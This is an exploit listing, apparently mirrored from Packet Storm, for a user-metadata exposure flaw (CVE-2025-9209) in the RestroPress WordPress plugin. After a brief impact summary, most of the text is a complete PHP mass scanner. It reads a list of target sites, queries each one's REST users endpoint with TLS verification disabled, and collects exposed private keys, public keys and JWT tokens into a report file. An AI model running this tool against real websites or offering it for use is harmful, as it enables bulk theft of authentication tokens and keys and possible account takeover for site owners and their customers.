Share
## https://sploitus.com/exploit?id=PACKETSTORM:216299
=============================================================================================================================================
| # Title : WordPress RestroPress Online Food Ordering System 3.1.9.2 User Metadata Exposure Scanner |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://wordpress.org/plugins/restropress/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/211375/ & CVE-2025-9209
[+] Summary :
A security weakness allows unauthorized enumeration of user metadata through
the WordPress REST API endpoint:
/wp-json/wp/v2/users?per_page=100
Some installations expose sensitive metadata fields, including:
_rp_api_user_private_key (bcrypt hashes)
_rp_api_user_public_key (hex or large key strings)
_rp_api_user_token_key (JWT tokens)
An attacker could harvest sensitive information if these fields are not
properly protected.
Impact
------
β’ Leakage of private cryptographic material.
β’ Exposure of valid JWT authentication tokens.
β’ Potential privilege escalation.
β’ Unauthorized customer information access.
3. Poc
save as scan.php
save websites liste : sites.txt
php scan.php
--------------------------------
<?php
/**
* Mass WordPress User Metadata Exposure Scanner
* by Indoushka
* Supports: Windows / Linux / macOS
*/
error_reporting(E_ALL);
ini_set("display_errors", 1);
class WpExposureScanner {
private $timeout = 12;
private $delay = 0.2;
private $sites = [];
private $results = [];
private $regex_bcrypt = '/^\$2[ayb]\$/';
private $regex_jwt = '/^eyJ[A-Za-z0-9_\-]+\.[A-Za-z0-9_\-]+\.[A-Za-z0-9_\-\.=]*/';
private $regex_hex = '/^[0-9a-fA-F]+$/';
public function __construct($sites_file) {
if (!file_exists($sites_file)) {
die("β Ω
ΩΩ Ψ§ΩΩ
ΩΨ§ΩΨΉ ΨΊΩΨ± Ω
ΩΨ¬ΩΨ―.\n");
}
foreach (file($sites_file) as $line) {
$s = trim($line);
if (!$s) continue;
if (!preg_match('/^https?:\/\//', $s)) {
$s = "https://" . $s;
}
$this->sites[] = rtrim($s, "/");
}
}
private function http_get($url) {
$ctx = stream_context_create([
"http" => [
"timeout" => $this->timeout,
"header" => "User-Agent: Mozilla/5.0\r\nAccept: application/json\r\n"
],
"ssl" => [
"verify_peer" => false,
"verify_peer_name" => false
]
]);
$body = @file_get_contents($url, false, $ctx);
$headers = isset($http_response_header) ? $http_response_header : [];
return [$body, $headers];
}
private function parse_json_fuzzy($text) {
if (!$text) return null;
$start = strpos($text, "{");
$startArr = strpos($text, "[");
if ($startArr !== false && ($startArr < $start || $start === false)) $start = $startArr;
if ($start === false) return null;
$end = strrpos($text, "}");
$endArr = strrpos($text, "]");
if ($endArr !== false && ($endArr > $end)) $end = $endArr;
if ($end <= $start) return null;
$try = substr($text, $start, $end - $start + 1);
return json_decode($try, true);
}
private function inspect_user($user) {
$found = [];
if (!isset($user["meta"])) return $found;
$meta = $user["meta"];
$uid = $user["id"] ?? $user["ID"] ?? "0";
if (isset($meta["_rp_api_user_private_key"])
&& preg_match($this->regex_bcrypt, $meta["_rp_api_user_private_key"])) {
$found[] = [
"user_id" => $uid,
"meta_key" => "_rp_api_user_private_key",
"meta_value" => $meta["_rp_api_user_private_key"],
"kind" => "private_key"
];
}
if (isset($meta["_rp_api_user_public_key"])
&& (preg_match($this->regex_hex, $meta["_rp_api_user_public_key"]) ||
strlen($meta["_rp_api_user_public_key"]) > 40)) {
$found[] = [
"user_id" => $uid,
"meta_key" => "_rp_api_user_public_key",
"meta_value" => $meta["_rp_api_user_public_key"],
"kind" => "public_key"
];
}
if (isset($meta["_rp_api_user_token_key"])
&& preg_match($this->regex_jwt, $meta["_rp_api_user_token_key"])) {
$found[] = [
"user_id" => $uid,
"meta_key" => "_rp_api_user_token_key",
"meta_value" => $meta["_rp_api_user_token_key"],
"kind" => "token"
];
}
return $found;
}
public function scan() {
foreach ($this->sites as $site) {
$url = $site . "/wp-json/wp/v2/users?per_page=100";
list($body, $hdr) = $this->http_get($url);
$json = $this->parse_json_fuzzy($body);
$exposures = [];
if (is_array($json)) {
if (isset($json[0])) {
foreach ($json as $user) {
$f = $this->inspect_user($user);
if ($f) $exposures = array_merge($exposures, $f);
}
} else {
$f = $this->inspect_user($json);
if ($f) $exposures = array_merge($exposures, $f);
}
}
$this->results[$site] = $exposures;
usleep($this->delay * 1e6);
}
}
public function save_reports() {
file_put_contents("exposures_php.txt", json_encode($this->results, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES));
}
}
$scanner = new WpExposureScanner("sites.txt");
$scanner->scan();
$scanner->save_reports();
echo "β Done\n";
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================